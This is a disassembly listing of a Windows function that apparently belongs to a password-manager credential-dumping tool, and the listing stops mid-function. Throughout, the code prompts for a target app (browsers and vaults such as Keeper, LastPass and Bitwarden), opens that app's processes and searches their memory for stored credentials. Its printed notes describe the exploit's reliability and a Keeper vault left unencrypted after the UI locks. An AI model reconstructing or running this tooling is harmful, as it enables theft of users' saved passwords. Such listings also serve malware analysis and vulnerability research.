Function at 0x14000f850
Capabilities:
Delete file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140020010]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov dword [rsp + 0x20], 0
lea rdx, [0x140014e20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._............................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._........................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._.......................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140019df0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._...............................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._..........................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._....................................
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140014e20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Enter_the_name_of_the_password_manager__accepted_values__chrome__msedge___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.brave__1password__firefox__dashlane__keeper__lastpass__roboform__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.bitwarden__norton__bitdefender__ironvest__passwarden__avira__passwordboss_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
lea rcx, [rsp + 0x68]
mov r15, qword [rsp + 0x68]
mov r13, qword [rbp - 0x80]
cmp r13, 0x10
cmovae rcx, r15
movsd xmm6, qword [0x14001b838]
mov r14, qword [rsp + 0x78]
cmp r14, 7
jne 0x14000fced
mov r8, r14
lea rdx, str.firefox
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000fced
lea rdx, str.User_input_matches_firefox._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Ensure_that_Firefox_did_communicate_with_the_embedded_password_manager._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Note_that_the_exploit_does_not_always_work_correctly.__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.This_means_that_credentials_will_exist_within_the_memory__but_they_will_not_be_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.firefox.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x14000fcc0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 1
mov rbx, qword [rsp + 0x30]
nop word [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000fba6
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14000fb9d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x14000fb49
cvtsi2sd xmm0, rcx
jmp 0x14000fb5e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x14000fb82
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14000fb9d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x14000fb00
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14000fbca
mov ecx, eax
call fcn.140001a60
jmp 0x14000fbee
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x14000fc31
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fc2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140002360
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000fced
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fce8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fce8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000fc3b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x14000fd13
mov r8, r14
lea rdx, str.chrome
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000fd67
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x14000fd39
mov r8, r14
lea rdx, str.msedge
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000fd67
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 5
jne 0x1400104fd
mov r8, r14
lea rdx, str.brave
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400104fd
lea rdx, str.User_input_matches_chromium_based_browser._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Ensure_that_Chromium_browser_did_communicate_with_the_embedded_password_manager._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x140010004
mov r8, r14
lea rdx, str.chrome
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140010004
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x14000ffdc
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x800
mov rbx, qword [rsp + 0x30]
nop dword [rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000feb6
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14000fead
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x14000fe59
cvtsi2sd xmm0, rcx
jmp 0x14000fe6e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x14000fe92
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14000fead
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x14000fe10
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14000feda
mov ecx, eax
call fcn.140001a60
jmp 0x14000fefe
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x14000ff41
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ff3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140002a10
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400104fd
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400104f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000ff4b
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x140010284
mov r8, r14
lea rdx, str.msedge
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140010284
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x14001025c
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x1000
mov rbx, qword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140010136
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001012d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x1400100d9
cvtsi2sd xmm0, rcx
jmp 0x1400100ee
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140010112
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001012d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140010090
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14001015a
mov ecx, eax
call fcn.140001a60
jmp 0x14001017e
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400101c1
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400101bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400101bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140002a10
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400104fd
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400104f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400101cb
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 5
jne 0x1400104fd
mov r8, r14
lea rdx, str.brave
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400104fd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.brave.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x1400104d0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x2000
mov rbx, qword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400103b6
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x1400103ad
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140010359
cvtsi2sd xmm0, rcx
jmp 0x14001036e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140010392
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x1400103ad
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140010310
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x1400103da
mov ecx, eax
call fcn.140001a60
jmp 0x1400103fe
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140010441
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001043c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001043c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140002a10
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400104fd
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400104f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001044b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 6
jne 0x1400107e8
mov r8, r14
lea rdx, str.keeper
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400107e8
lea rdx, str.User_input_matches_keeper._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_app__the_second_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_should_be_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Also__by_default_the_app_does_not_encrypt_the_vault_after_locking_the_UI_due_to_inactivity._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.keeperpasswordmanager.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x1400107bb
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 8
mov rbx, qword [rsp + 0x30]
nop dword [rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140010676
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
